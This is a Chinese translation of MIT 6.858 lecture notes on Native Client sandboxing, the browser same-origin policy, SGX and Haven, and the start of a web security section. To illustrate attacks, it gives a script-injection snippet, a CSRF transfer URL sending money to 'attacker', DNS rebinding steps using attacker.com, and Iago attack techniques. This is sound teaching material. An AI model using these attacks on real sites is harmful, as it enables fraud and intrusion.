译者:飞龙 协议:CC BY-NC-SA 4.0
本地客户端
注意: 这些讲座笔记略有修改,来自 2014 年 6.858 课程网站。
本文的目标是什么?
- 当时,浏览器只允许任何网页运行 JS(+Flash)代码。
- 希望允许 Web 应用程序在用户的计算机上运行本机(例如,x86)代码。
- 不想在服务器上运行复杂代码。
- 需要大量服务器资源,为用户带来高延迟。
- 这有什么用?
- 性能。
- 除 JS 外的其他语言。
- 传统应用程序。
- 实际上正在现实世界中使用。
- 作为 Google Chrome 的一部分发布:NaCl 运行时是浏览器扩展。
- 网页可以像 Flash 程序一样运行 NaCl 程序。
- Javascript 可以通过传递消息与 NaCl 程序交互。
- NaCl 还为一些其他用例提供了强大的沙盒功能。
- 核心问题:沙盒化 x86 代码。
使用本地客户端:
- https://developers.google.com/native-client/
- 安装浏览器插件
- 使用 Nacl 工具更改以编译 C 或 C++程序。
- 对可以使用的系统调用有限制。
- 示例应用程序:游戏(不需要太多系统支持)
- 与浏览器交流的特殊接口(在发布中称为 Pepper)
- 制作一个包含 Nacl 模块的网页:
<embed name="nacl_module" id="hello_world" width=0 height=0 src="hello_world.nmf" type="application/x-nacl" />
- 模块是“受控”的 x86 代码。
快速演示:
% urxvt -fn xft:Monospace-20
% export NACL_SDK_ROOT=/home/nickolai/tmp/nacl_sdk/pepper_35
% cd ~/6.858/git/fall14/web/lec/nacl-demo
## this is from NaCl's tutorial part1
% vi hello.cc
% vi index.html
% make
% make serve
## copy-paste and add --no-dir-check as the error message asks
## visit http://localhost:5103/
## change hello.cc to "memset(buf, 'A', 1024);"
% make
% !python
## visit http://localhost:5103/
## ctrl-shift-J, view console
有哪些安全运行 x86 代码的选项?
方法 0: 信任代码开发者。
- ActiveX,浏览器插件,Java 等。
- 开发者用私钥签署代码。
- 要求用户决定是否信任某些开发者的代码。
- 用户很难做出这样的决定(例如,使用 ActiveX 代码)。
- 适用于已知开发者(例如,由 MS 签名的 Windows 更新代码)。
- 不清楚如何回答未知的 Web 应用程序(除了“否”)。
- 本地客户端的目标是强制执行安全性,避免询问用户。
方法 1: 硬件保护/操作系统沙盒。
- 与我们已经阅读过的一些想法类似的计划:OKWS,Capsicum,VMs,…
- 将不受信任的代码作为常规用户空间程序或单独的 VM 运行。
- 需要控制不受信任的代码可以调用的系统调用。
- Linux:seccomp。
- FreeBSD:Capsicum。
- MacOSX:Seatbelt。
- Windows:不清楚存在哪些选项。
- 本地客户端使用这些技术,但仅作为备用计划。
- 为什么不直接依赖操作系统的沙盒功能?
- 每个操作系统可能会施加不同的,有时是不兼容的要求。
- 系统调用以分配内存,创建线程等。
- 虚拟内存布局(Windows 中的固定地址共享库?)。
- 操作系统内核漏洞相当常见。
- 允许不受信任的代码逃离沙盒。
- 并非每个操作系统都可能具有足够的沙盒机制。
- 例如,在 Windows 上,没有特殊的内核模块,不清楚该怎么做。
- 一些沙盒机制需要 root 权限:不想以 root 身份运行 Chrome。
- 硬件可能存在漏洞(!)。
- 作者声称某些指令恰好会使硬件挂起。
- 如果访问网站可能导致计算机挂起,那将是不幸的。
- 每个操作系统可能会施加不同的,有时是不兼容的要求。
**方法 2:**软件故障隔离(本地客户端的主要沙箱计划)。
- 给定一个要在本地客户端中运行的 x86 二进制文件,请验证其安全性。
- 验证涉及检查二进制文件中的每条指令。
- 一些指令可能总是安全的:允许。
- 一些指令可能有时是安全的。
- 软件故障隔离的方法是在这些指令之前要求进行检查。
- 必须确保检查在验证时存在。
- 另一个选项:通过二进制重写插入检查。
- 在 x86 上很难做到,但在更高级别的语言中可能更容易。
- 一些指令可能不值得安全化:禁止。
- 验证后,可以安全地在与其他受信任代码相同的进程中运行它。
- 允许沙箱调用受信任的“服务运行时”代码。
- 论文中的图 2
对于本地客户端模块,安全性意味着什么?
- **目标#1:**不执行任何不允许的指令(例如,syscall,int)。
- 确保模块不执行任何系统调用。
- **目标#2:**不访问模块边界之外的内存或执行代码。
- 确保模块不会破坏服务运行时数据结构。
- 确保模块不会跳转到服务运行时代码,如返回到 libc。
- 如论文所述,模块代码+数据位于[0…256MB)虚拟地址内。
- 不需要填充整个 256MB 的虚拟地址空间。
- 其他所有内容应受到 NaCl 模块的保护。
如何检查模块是否可以执行不允许的指令?
- 草案:扫描可执行文件,查找“int”或“syscall”操作码。
- 如果检查通过,可以开始运行代码。
- 当然,还需要将所有代码标记为只读。
- 并将所有可写内存标记为不可执行。
- *复杂性:*x86 具有可变长度指令。
- “int”和“syscall”指令长度为 2 字节。
- 其他指令可能在 1 到 15 个字节之间。
- 假设程序的代码包含以下字节:
25 CD 80 00 00
- 如果从 25 开始解释为指令,它是一个 5 字节指令:
AND %eax, $0x000080cd
- 但如果从 CD 开始解释,它是一个 2 字节指令:
INT $0x80 # Linux 系统调用
- 可以尝试在每个偏移处查找不允许的指令。
- 可能会产生太多误报。
- 真实指令可能会意外包含一些“不允许”的字节。
可靠的反汇编
- **计划:**确保代码只执行验证器知道的指令。
- 我们如何保证这一点?请参考论文中的表 1 和图 3。
- 从开头开始向前扫描所有指令。
- 如果我们看到跳转指令,请确保它跳转到我们看到的地址。
- 静态跳转(常量地址)很容易确保。
- 无法静态确保计算跳转(从寄存器跳转到地址)。
计算跳转
- 思路是依赖于运行时插装:在跳转之前添加检查。
- 对于计算跳转到%eax,NaCl 需要以下代码: `AND $0xffffffe0, %eax # 清除最后 4 位(=>只跳转到 32 字节边界) JMP *%eax`
- 这将确保跳转到 32 字节的倍数。为什么是 32 字节?
- 长度超过最大指令长度
- 2 的幂
- 需要适应跳板(稍后见下文)代码
- 不会更大,因为我们不想为单个指令的跳转目标浪费空间。
- NaCl 还要求没有指令跨越 32 字节边界。
- 编译器的工作是确保这两条规则。
- 用上述的两条指令序列替换每个计算跳转。
- 如果其他指令可能跨越 32 字节边界,添加 NOP 指令。
- 如果下一条指令是计算跳转目标,添加 NOP 以填充到 32 字节的倍数。
- 总是可能的,因为 NOP 指令只有一个字节。
- 验证器的工作是检查这些规则。
- 在反汇编过程中,确保没有指令跨越 32 字节边界。
- 对于计算跳转,确保它在上述的两条指令序列中。
- 这将保证什么?
- 验证器检查了所有从 32 字节倍数地址开始的指令。
- 计算跳转只能到达 32 字节的倍数地址。
- 是什么阻止模块跳过 AND,直接到 JMP?
- 伪指令:NaCl 跳转指令永远不会被编译,以便
AND
部分和JMP
部分被 32 字节边界分隔。因此,你永远无法直接跳转到JMP
部分。
- 伪指令:NaCl 跳转指令永远不会被编译,以便
- NaCl 如何处理
RET
指令?- 禁止 – 实际上是一个计算跳转,地址存储在堆栈上。
- 这是由于一个固有的竞争条件:
ret
指令从堆栈中弹出返回地址,然后跳转到它。 NaCl 可以在弹出之前检查堆栈上的地址,但这里存在 TOCTOU 问题:地址可能会在检查后立即被另一个线程修改。这可能发生是因为返回地址在内存中,而不在寄存器中。
- 这是由于一个固有的竞争条件:
- 相反,编译器必须生成显式的 POP + 计算跳转代码。
- 禁止 – 实际上是一个计算跳转,地址存储在堆栈上。
表 1 中的规则在论文中为什么是必要的?
- C1:内存中的可执行代码不可写。
- C2:二进制在零处静态链接,代码从 64K 开始。
- C3:所有计算跳转使用上述的两条指令序列。
- C4:二进制被填充到页面边界,其中包含一个或多个 HLT 指令。
- C5:没有指令,或者我们特殊的两条指令对,可以跨越 32 字节。
- C6/C7:从起始位置通过顺序反汇编可到达的所有跳转目标。
作业问题: 如果验证器得到了一些指令长度错误,会发生什么?
答案: 取决于在 x86 指令流中的偏移位置,你可以得到意外有用的指令(在 BROP 论文中,我们从 BROP 小工具的 0x7 偏移处得到了一个"pop rsi; ret;")。
如果检查器错误地计算 x86 指令的长度,那么攻击者可以利用这一点。假设检查器将 bad_len(i)
计算为地址 a
处某个指令 i
的长度。了解 x86 的攻击者可以在地址 a + bad_len(i)
处编写汇编代码,通过所有检查并看似无害。这段汇编代码就是 NaCl 检查器会“看到”的内容,考虑到指令长度错误。然而,当代码执行时,指令 i
之后的下一条指令将位于地址 a + real_len(i)
。而且,攻击者精心设计了他的代码,使得在地址 a + real_len(i)
及之后的指令执行了一些有用的操作。比如跳出沙箱,或者进行系统调用。
如何防止 NaCl 模块在其代码之外跳转到 32 字节的倍数?
- 可以在计算跳转序列中使用额外的检查。
AND $0x0fffffe0, %eax
JMP *%eax
- 为什么他们不使用这种方法?
- 用于计算跳转的更长指令序列。
- 他们的序列是
3+2=5
字节,上述序列是5+2=7
字节。 - 另一种解决方案非常简单:分段。
分段
- x86 硬件提供“段”。
- 每次内存访问都是相对于某个“段”。
- 段指定基址 + 大小。
- 段由段选择器指定:指向段表的指针。
-
%cs, %ds, %ss, %es, %fs, %gs
- 每条指令都可以指定用于访问内存的段。
- 代码始终使用
%cs
段获取。
-
- 地址转换:(段选择器,地址)->(segbase + addr % segsize)。
- 通常,所有段都具有
base=0, size=max
,因此分段是一个无操作。 - 可以更改段:在 Linux 中,使用
modify_ldt()
系统调用。 - 可以更改段选择器:只需
MOV %ds
等。
将代码/数据限制为模块的大小:
- 添加一个新的段,
offset=0, size=256MB
。 - 将所有段选择器设置为该段。
- 修改验证器以拒绝任何更改段选择器的指令。
- 确保所有代码和数据访问都在 [0…256MB) 范围内。
- (实际上,NaCl 似乎将代码段限制为文本部分大小。)
在没有分段的系统上运行 Native Client 需要什么条件?
- 例如,AMD/Intel 决定在它们的 64 位 CPU 中取消段限制。
- 一个实际的可能性:在 32 位模式下运行。
- AMD/Intel CPU 在 32 位模式下仍支持段限制。
- 即使在 64 位操作系统上也可以在 32 位模式下运行。
- 将不得不更改计算跳转代码以将目标限制为 256MB。
- 将不得不对每个内存读/写添加运行时检测。
- 有关更多详细信息,请参阅下面的附加参考文献中的论文。
为什么 Native Client 不支持模块的异常?
- 如果模块触发硬件异常:空指针,除零等。
- 操作系统内核需要将异常(作为信号)传递给进程。
- 但 Native Client 使用不寻常的堆栈指针/段选择器
%ss
运行。- 因此,如果操作系统尝试传递异常,它将终止程序。
- 一些操作系统内核在这种情况下拒绝传递信号。
- NaCl 的解决方案是完全禁止硬件异常。
- 语言级别的异常(例如,C++)不涉及硬件:没有问题。
如果 NaCl 模块发生缓冲区溢出会发生什么?
- 任何计算调用(函数指针,返回地址)必须使用 2 指令跳转。
- 因此,只能跳转到模块区域中经过验证的代码。
- 缓冲区溢出可能允许攻击者接管模块。
- 然而,无法逃脱 NaCl 的沙箱。
原始 NaCl 设计的局限性?
- 静态代码:无 JIT,无共享库。
- 近期版本支持动态代码(请参考结尾的附加参考资料)。
从沙箱调用受信任的代码
- 短代码序列,过渡到/从位于[4KB…64KB)的沙箱中。
- 跳板取消沙箱,进入受信任的代码。
- 从 32 字节的倍数边界开始。
- 将无限段加载到
%cs, %ds
段选择器中。 - 跳转到位于 256MB 以上的受信任代码。
- *稍微棘手:*必须确保跳板适合 32 字节。
- (否则,模块可能会跳转到跳板代码的中间…)
- 受信任的代码首先切换到不同的堆栈:为什么?
- NaCl 模块堆栈无法接收异常,并且由跳板调用的库代码可能会出现异常。
- 此外,在论文中提到这个新堆栈,它是每个线程的,将驻留在不受信任的地址空间之外,以保护它免受其他 NaCl 模块线程的攻击!
- 随后,受信任的代码必须重新加载其他段选择器。
- 弹簧板(重新)在返回或初始启动时重新进入沙箱。
- 弹簧板槽(32 字节的倍数)以
HLT
(停止)指令开始。- 防止模块代码跳转到弹簧板。
- 重新设置段选择器,在 NaCl 模块中跳转到特定地址。
- 弹簧板槽(32 字节的倍数)以
服务运行时提供了什么?(NaCl 的“系统调用”等效)
- 内存分配:sbrk/mmap。
- 线程操作:创建等。
- IPC:最初与启动此 NaCl 程序的页面上的 Javascript 代码。
- 浏览器接口通过 NPAPI:DOM 访问,打开 URL,用户输入,…
- 没有网络:可以使用 Javascript 根据 SOP 访问网络。
Native Client 有多安全?
- 攻击面列表:开始于第 2.3 节的开头。
- 内部沙箱:验证器必须正确(有一些棘手的错误!)。
- 外部沙箱:依赖于操作系统的计划。
- 在 Linux 上,可能是 seccomp。
- 在 FreeBSD 上(如果 NaCl 支持),Capsicum 会很有意义。
- 为什么外部沙箱?
- 内部沙箱可能存在漏洞。
- 如果对内部沙箱进行了妥协,对手会做什么?
- 利用 CPU 漏洞。
- 利用 OS 内核漏洞。
- 利用其他进程中的漏洞与沙箱进程通信。
- 服务运行时:初始加载程序,运行时跳板接口。
- 模块间通信(IMC)接口 + NPAPI:复杂的代码,可能(并且确实)存在错误。
它的性能如何?
- CPU 开销似乎主要受 NaCl 的代码对齐要求的影响。
- 更大的指令缓存占用。
- 但对于某些应用程序,NaCl 的对齐方式比 gcc 更好。
- 对于计算跳转的附加检查,开销最小。
- 调用服务运行时的性能似乎与 Linux 系统调用相当。
将代码移植到 NaCl 有多难?
- 对于计算性的事物,似乎很简单:H.264 只需改动 20 行代码。
- 对于与系统交互的代码(系统调用等),需要进行更改。
- 例如,Bullet 物理模拟器(第 4.4 节)。
其他参考资料
- 本地客户端适用于 64 位 x86 和 ARM。
- 本地客户端用于运行时生成的代码(JIT)。
- 无硬件依赖的本地客户端。
- 其他具有细粒度内存访问控制的软件故障隔离系统:
- XFI
- BGI
- 正式验证验证器。
Web 安全
长期以来,Web 安全意味着查看服务器的操作,因为客户端非常简单。在服务器上,CGI 脚本被执行,并且它们与数据库等进行交互。
如今,浏览器非常复杂:
- JavaScript:页面执行客户端代码
- 文档对象模型(DOM)
- XMLHttpRequests:JavaScript 客户端代码从 Web 服务器异步获取内容的一种方式
- 又名 AJAX
- Web 套接字
- 多媒体支持(
<video>
标签) - 地理位置(网页可以确定您的物理位置)
- 本地客户端,适用于 Google Chrome
对于 Web 安全来说,这意味着我们很糟糕:巨大的攻击面(见图 1)
likelihood
of correct
ness
^
|--\
| --\ --- we are here
| --\ /
| \ /
| \ <--
| -----*----
|----------------------->
# of features
组合问题:许多层
Web 存在的一个问题是parsing contexts问题
<script>var = "UNTRUSTED CONTENT FROM USER";</script>
如果不受信任的内容中有引号,也许攻击者可以修改代码为:
<script>var = "UNTRUSTED CONTENT"</script>
<script> /* bad stuff from attacker here */ </script>
Web 规范很长、繁琐、乏味、不一致,大小如欧盟宪法(CSS、HTML)=>它们是模糊的抱负性文件,从未被实施。
本讲座我们将专注于客户端 Web 安全。
桌面应用程序来自单一主体(微软、谷歌等),Web 应用程序来自多个主体。
http://foo.com/index.html
(见图 2)
- 分析代码能够访问 Facebook 框架内容吗?
- 分析代码能够与文本输入交互吗?它能声明事件处理程序吗?
- Facebook 框架(https)和 foo.com 框架(http)之间的关系是什么?
为了回答这些问题,浏览器使用了一个称为同源策略的安全模型
*目标:*两个网站不应该能够互相篡改,除非它们想要这样做。
定义tampering的含义自从 Web 开始以来变得更加复杂。
策略:每个资源都被分配一个起源。JS 代码(一个资源本身)只能访问来自自己起源的资源。
什么是起源?起源是网络协议方案+主机名+端口。例如:
-
https://facebook.com:8181
-
http://foo.com/index.html
,隐式端口 80 -
https://foo.com/index.html
,隐式端口 443
粗略地说,你可以将一个起源视为 UNIX 中的 UID,而一个框架就是一个进程。
在实现起源的四个想法中:
每个起源都有客户端资源
Cookies,用于在不同的 HTTP 请求之间实现状态
DOM 存储,一个相当新的接口,一个键值存储
一个 JavaScript 命名空间,定义了对起源可用的函数和接口(如 String 类)
DOM 树:页面中 HTML 的 JavaScript 反射
[ HTML ]
/ \
[ HEAD ] [ BODY ]
一个可视化显示区域
每个框架都获得其 URL 的起源
脚本以其框架起源的权限执行
被动内容(图像、CSS 文件)从浏览器中获得零权限
- 内容嗅探攻击
回到我们的例子:
- Google 分析和 jQuery 可以在 foo.com 框架上执行各种操作
- Facebook 框架的内联 JS 无法对 foo.com 框架执行任何操作
- 但它可以使用
postMessage()
API 与 foo.com 框架通信
- 但它可以使用
- FB frame 中的 JS 代码无法向 foo.com web 服务器发出 AJAX 请求
MIME 类型:text/html。过去的所有 IE 版本都会查看对象的前 256 个字节并忽略Content-Type
头。结果,IE 会误解文件的类型(由于错误)。攻击者可以将 JS 代码放入.jpg 文件中。IE 将其强制转换为 text/html,然后在页面中执行 JS 代码。
Frames 和 window 对象
Frames 代表这种独立的 JS 宇宙
一个 frame,关于 JS 是一个 DOM 节点的实例。Frames 和 JS 中的 window 对象相互指向。window 对象充当一个命名空间,通过它可以访问任何变量x
。
Frames 获取 frame 的 URL 的 origin OR
原始域名的后缀。
x.y.z.com
可以说“我想将我的源设置为”y.z.com
通过将document.domain
分配给y.z.com
。这只适用于x.y.z.com
的后缀(或应该)。因此,它不能执行document.domain = a.y.z.com
。也不能设置document.domain = .com
,因为该站点将能够影响任何.com 网站中的 cookies。
浏览器区分已分配值给 document.domain 的 frame 和未分配值给 document.domain 的 frame。
两个 frame 可以相互访问如果:
- 两个 frame 都将
document.domain
设置为相同的值 - 两个 frame 都没有改变
document.domain
,并且两个值匹配
你有x.y.z.com
(有 bug 或者恶意)试图攻击y.z.com
,通过缩短其域名。浏览器不会允许这种情况发生,因为 y.z.com 并未改变其 document.domain,而 x.y.z.com 已经改变了。
DOM 节点
Cookies
Cookies 有一个domain和一个path。
*.mit.edu/6.858
如果路径是/
,那么域中的所有路径都可以访问 cookie。
在客户端有document.cookie
。
Cookies 有一个secure flag
,意味着 HTTP 内容不应该能够访问该 cookie。
当浏览器生成请求时,它将包括该请求中的所有匹配 cookie(环境权限)。
不同 frame 如何访问其他 frame 的 cookies?如果其他 frame 可以为其他 frame 写入 cookies,那么攻击者可以将受害者登录到攻击者的 gmail 帐户,并可能读取用户发送的电子邮件。
应该允许foo.co.uk
为co.uk
设置 cookie 吗?https://publicsuffix.org 包含所有顶级域的列表,因此浏览器不允许为co.uk
等域设置 cookie。
XMLHttpRequest
默认情况下,JS 只能生成一个 AJAX 请求,如果它要去自己的源。
有一种新的范式称为跨源请求 S.(CORS),其中服务器可以使用 ACL 允许其他域访问它。服务器返回一个头Access-Control-Allow-Origin: foo.com
来指示 foo.com 是被允许的。
图片,CSS
一个 frame 可以从任何它想要的源加载图片,但它实际上不能检查位。但它可以通过 DOM 中其他节点的位置推断出图片的大小。
CSS 也是如此。
JavaScript
如果您对 JS 进行跨源提取,是允许的,但框架不能查看源代码。但是 JS 架构有点让你可以,因为您可以调用任何公共函数f
的toString
方法。框架还可以要求 Web 服务器为其提取 JS 并发送。
JS 代码经常被混淆。
插件
Java,Flash。
框架可以从任何来源运行插件。HTML5 可能会使它们过时。
跨站请求伪造(CSRF)
攻击者可以设置一个页面,并在其中嵌入以下来源的框架:
http://bank.com/xfer?amount=500&to=attacker
框架被设置为大小为零(不可见),然后攻击者让用户访问该页面。因此,他可以从用户那里窃取钱。
这是因为 URL 可以被猜测,而不是随机的。
解决方案:在 URL 中添加一些随机性。
服务器可以生成一个随机令牌并将其嵌入发送给用户的“转账”页面。
<form action="/transfer.cgi" ...>
<input type="hiddne" name="csrf" value="a72fedb2129985bdc">
现在攻击者必须猜测令牌。
网络地址
框架可以向与其来源匹配的主机发送 HTTP 和 HTTPS 请求。同源策略的安全性与 DNS 安全性相关联。因为来源名称是 DNS 名称,DNS 重新绑定攻击可能会对您产生影响。
目标:以受害者网站victim.com
的权限运行受攻击者控制的 JS。
方法:
- 注册一个域名
attacker.com
- 攻击者设置 DNS 服务器以响应对
*.attacker.com
的请求。 - 攻击者让用户访问
*.attacker.com
- 浏览器向
attacker.com
生成 DNS 请求。 - 攻击者响应具有较短的生存时间(TTL)
- 与此同时,攻击者配置 DNS 服务器将
attacker.com
名称绑定到victim.com
的 IP 地址 - 现在,如果用户请求对 attacker.com 的 DNS 解析,他将获得 victim.com 的地址
- 加载的 attacker.com 网站希望通过 AJAX 获取一个新对象。此请求现在将发送到 victim.com
- 不好的原因是 attacker.com 网站刚刚在其来源之外发出了一个 AJAX 请求。
如何解决这个问题?
- 修改您的 DNS 解析器以检查外部域名是否解析为内部地址。
- 强制 TTL 为 30 分钟
像素
每个框架都有自己的边界框,并可以在其中任意绘制。具体来说,父框架可以覆盖子框架(见图 3)。
解决方案:
- 使用破坏框架的代码(JS 来判断是否被别人放入框架中)
`if (self != top)
alert("我是一个子框架,所以不会加载")
- Web 服务器可以发送一个名为
X-Frame-Options
的 HTTP 响应头,告诉浏览器不允许任何人将其内容放入框架中。
命名问题
ASCII 中的c
与 Cyrillic 中的c
允许攻击者注册一个模仿真实cats.com
的cats.com
域。
插件
与浏览器的其余部分存在微妙的不兼容性。
Java 假设具有相同 IP 地址的不同主机名具有相同的来源(与 SOP 策略不符)。
如果它们共享相同的 IP 地址,x.y.com 将与 z.y.com 具有相同的来源。
HTML5 屏幕共享
如果您有一个包含多个框架的页面,一个框架可以截取整个浏览器的屏幕截图。
SGX 和 Haven
为什么我们要阅读这篇论文?**待办事项:**哪篇论文?SGX 还是 Haven?
- 先进的硬件隔离机制
- 我们对隔离机制的巡回的最后一篇论文
- 在实践中相关的强大威胁模型
- 许多桌面电脑运行恶意软件
- 恶意软件可能控制整个操作系统
- 使用尖端技术(英特尔 SGX)
- 但是,对于 SGX 尚无部署经验
- 可能存在设计和实现缺陷
- 第一批硬件已经推出(参见下面的参考资料)
SGX 目标
- 即使操作系统被入侵,应用程序仍然可以保持秘密
- 也许不是整个操作系统被入侵
- 但也许攻击者正在运行键盘记录器
- 目标应用程序:
- 登录到您的银行
- 安全:操作系统/键盘记录器无法窃取您的密码+PIN 以登录
- 用于受版权保护内容的视频/音乐播放器(DRM)
- 安全:操作系统无法窃取解密内容的密钥
- 登录到您的银行
雄心勃勃的目标:
- 应用程序依赖于操作系统
- 如何防御恶意操作系统?
- 操作系统接口很广
- 如何检查应用程序是否操作系统行为适当?
- “Iago”攻击的机会很多
- 查看论文"Iago Attacks: Why the System Call API is a Bad Untrusted RPC Interface" 这里或我们的首页。
Iago 攻击:不受信任的操作系统可以用来攻击应用程序的攻击
- 操作系统修改
getpid()
和time()
以返回不同的数字,相同的数字getpid()
和time()
经常用于生成伪随机数
- 操作系统可能混淆运行 SSL 的服务器
- 操作系统可以记录成功连接的数据包
- 操作系统可能导致 SSL 的下一个实例使用相同的服务器随机数
- 通过为
time()
和getpid()
返回与早期连接相同的值
- 通过为
- 操作系统可以重放数据包
- SSL 服务器认为这是一个新连接,但实际上不是
- 可能发起中间人攻击
- 操作系统修改
mmap()
以映射一个由操作系统控制的物理页面到应用程序堆栈上-
malloc()
调用mmap()
- 操作系统可以运行任意代码
- 操作系统可以读取应用程序的秘密(例如 SSL 连接的私钥)
-
- **教训:**简单的系统调用(例如,getpid 和 time)可能会引起问题
- 应用程序必须以防御性方式编写
- 防止遗留应用程序受恶意操作系统攻击似乎很困难
针对恶意操作系统的防御研究很多
- 一些使用 TPM 或延迟启动
- 一些使用受信任的虚拟化程序
- 一些使用特殊处理器
- 影响不大—主要是一项具有挑战性的智力活动
- 现在英特尔的 Skylake 包括SGX(参见下面的参考资料)
- 它提供硬件机制来帮助防御 Iago 攻击
SGX 威胁模型
- 攻击者控制操作系统
- 攻击者可以观察处理器和内存之间的流量
- 除了处理器之外的每个组件都是不受信任的
- 英特尔是可信任的
- 芯片正常工作
- 私钥没有泄露
- 侧信道无法被利用
SGX:软件保护扩展
- **飞地:**进程内的受信任执行环境
- 处理器确保飞地内存对操作系统、BIOS 等不可访问
- 证明
- 处理器使用内置于芯片中的私钥对飞地内容进行签名
- 验证器使用英特尔的公钥来检查签名
- 密封
- 在终止时对飞地进行密封和稍后解封的方案
- 待办事项: 他们是否指的是类似于“分页”或停止,保存到磁盘,然后恢复并继续运行的操作?
飞地
- Haven 论文中的图 1
-
ECREATE
创建一个空飞地- 起始虚拟地址和大小
- EPC: 飞地页面缓存
- 物理内存中的区域
- 处理器的内存加密接口
- 写入/读取到/从 EPC 时进行加密/解密
- 也受完整性保护
-
EADD
用于向飞地添加 EPC 页面
- 处理器维护一个映射(EPCM),对于每个 EPC 页面记录:
- 页面类型(REG,…),飞地 ID,页面的虚拟地址和权限
- EPCM 仅对处理器可访问
- 在每次飞地页面访问时,都要查阅地图
- 页面是否处于飞地模式?
- 页面是否属于飞地?
- 页面是否为访问的虚拟地址?
- 访问是否符合页面权限?
- 将 EPC 页面分页到外部存储
- 操作系统执行
EWD
将页面驱逐到缓冲区- 加密,版本号等。
- 操作系统可以将缓冲区写入外部存储
- 操作系统执行
ELDB
将加密页面加载到 EPC 中- 使用版本号检测回滚攻击
- 操作系统执行
起始飞地(EXTEND
,EINIT
):
- 处理器保留了飞地构建方式的加密日志 _
EXTEND
将 256 字节区域添加到日志 - 日志包含内容(代码,数据,堆栈,堆),每个页面的位置,安全标志
-
EINIT
以SIGSTRUCT
作为参数- 由密封机构(飞地编写者)签名
- 包括:飞地的预期签名哈希和飞地所有者的公钥
-
EINIT
验证签名和哈希 - 飞地身份存储在
SECS
中
证明: 远程方可以验证飞地是否运行正确的代码
- 飞地使用
EGETKEY
获取其密钥- 用于加密和密封的密钥
-
EREPORT
生成一个签名报告- 报告包含日志的哈希和飞地的公钥
- 公共数据是否在报告中由飞地提供?
- 此报告可以传达给另一个飞地
- 接收飞地可以使用飞地中的公钥验证报告
- 报告包含日志的哈希和飞地的公钥
- 特殊的报价飞地可以使用处理器的私钥创建一个签名的“报价”
- 使用组签名密钥,以便无法识别个体处理器
进入/退出飞地:
- 使用 ENTER 和线程控制结构(TCS)进入
- 退出:EEXIT,中断或异常
- 使用 ERESUME 恢复飞地
受保护的银行客户端(假设和简化)
- 目标: 防止操作系统窃取用户的密码
- 假设从键盘到飞地有一个安全路径(Intel ME?)
- 客户端下载银行应用程序并运行
- 银行应用程序创建带有代码+数据的飞地
- 代码包括从键盘读取,SSL 等。
- 生成一个报价
- 连接到服务器,建立安全通道(例如 SSL),并发送报价
- 服务器验证报价
- 服务器知道客户端启动的软件是否正确
- 即不是某个可能将用户密码通过电子邮件发送给对手的恶意客户端
- 服务器发送挑战
- 客户端使用密码通过 SSL 响应挑战
- 飞地内的密码,加密
- 操作系统无法窃取
- 服务器检查挑战
SGX 安全讨论
- 评估安全性困难
- 带有 SGX 的处理器刚刚可用
- 没有部署经验
- TCB
- 处理器
- 处理器的制造
- 英特尔的私钥
- 伊阿戈攻击
- 操作系统能在 enclave 内部读写数据吗?
- 处理器的 EPC 阻止了这一点
- 操作系统能重新映射内存吗?
- 处理器的 EPCM 防止此攻击
- 操作系统能混淆应用程序吗?
- 客户端必须小心编写,依赖于少量操作系统功能
- 客户端需要可靠的随机源来实现 SSL
RDRAND
- 客户端必须能够发送和接收数据包
- 检查结果
- 操作系统能在 enclave 内部读写数据吗?
- 侧信道攻击
- 威胁模型排除了,但在实践中可能存在
- 超线程
- 共享 L3 缓存
- 多插槽
Haven
- 使用 SGX 在云中安全地执行未修改的 Windows 应用程序
- 安全地意味着不信任云提供商
- Haven 是一个研究项目
威胁模型
- 系统管理员控制云软件
- 远程攻击者可能控制云软件
- 操作系统可能发起“伊阿戈”攻击
- 可能向 Haven 传递任意值
- 可能中断 Haven 的执行
- 硬件实现正确
- SGX 是正确的
计划:受保护的执行
- 在云中运行应用程序,其安全性相当于在自己的硬件上运行应用程序
- 不信任云软件
- 提供一个应用程序环境,使其能够与不受信任的软件交互
- 应用程序需要发送数据包
- 应用程序需要存储文件
- …
- 应用程序需要操作系统
- 挑战
- 如何在主机操作系统之上实现操作系统,同时仍然能够抵抗伊阿戈攻击
Haven 建立在两个组件之上
- 英特尔 SGX
- Drawbridge
- 在 libOS 实现 Win32 的顶部提供一个小接口
- 小接口保护主机操作系统免受应用程序影响(类似于本机客户端)
- Haven 保护应用程序免受主机操作系统的影响
Haven 设计(图 2)
- 实现 Drawbridge 的 API,以防范伊阿戈攻击
- Shield 模块在 enclave 内部实现 API
- 使用窄、不受信任的 API 与主机操作系统交互
- 不受信任的 API 是 drawbridge API 的子集(见图 3)
- 在 Shield 和主机内核之间的不受信任的运行时隧道
- 启动时也需要
- 主机内核包含 SGX 驱动程序和 drawbridge 主机
- drawbridge 主机使用 OS 调用实现窄 API
Shield 服务
- 虚拟内存
- enclave 从 0 开始(处理应用程序、libos 的空指针引用)
- 跟踪应用程序/libos 使用的内存页面
- 从 enclave 中添加/删除内存页面
- 验证更改是否正确
- 从不允许主机选择虚拟内存地址
- 不允许应用程序和 libos 在 enclave 外部分配页面
- 存储
- 最终实验室
- 线程
- 用户级调度(例如,以便互斥量起作用)
- 在启动时将线程复用到固定数量的线程上
- 在开始时分配固定数量的 TCS
- 杂项
- 用于可信随机源的
RDRAND
- 没有 fork
- 没有地址空间随机化
- 用于可信随机源的
讨论
- Haven 能运行未修改的应用程序吗?
- 没有 fork–Windows 上的小问题?
- 不能将 enclave 页面映射到多个虚拟地址
- 需要修改应用程序
- 安全性?
- 对不受信任接口进行模糊测试?
参考资料
- Iago 攻击
- SGX 概述
- SGX 指令概述
- SGX 硬件
- SGX 安全讨论
- 抽象桥
网络安全
注意: 这些讲座笔记是从 2014 年课程网站上稍作修改的。
什么是网络?
在旧时代,它是一个简单的客户端/服务器架构(客户端是您的 Web 浏览器,服务器是网络上的一台机器,可以向您的浏览器提供静态文本和图像)。
- 在旧时代,服务器端比客户端复杂得多:浏览器不支持丰富的交互性,但服务器可能与数据库,其他服务器等进行接口。
- 因为服务器非常复杂,“网络安全”侧重于服务器端。到目前为止,这门课程主要也侧重于服务器端(例如,Web 服务器上的缓冲区溢出,OKWS 服务器中的权限分离)。
现在网络已经改变:现在浏览器非常复杂。
- JavaScript:允许页面执行客户端代码。
- DOM 模型:提供页面的 HTML 的 JavaScript 接口,允许页面添加/删除标签,更改它们的样式等。
- XMLHttpRequests(AJAX):异步 HTTP 请求。
- Web 套接字:全双工客户端-服务器通信通过 TCP。
- Web 工作者:多线程支持。
- 多媒体支持:
<video>
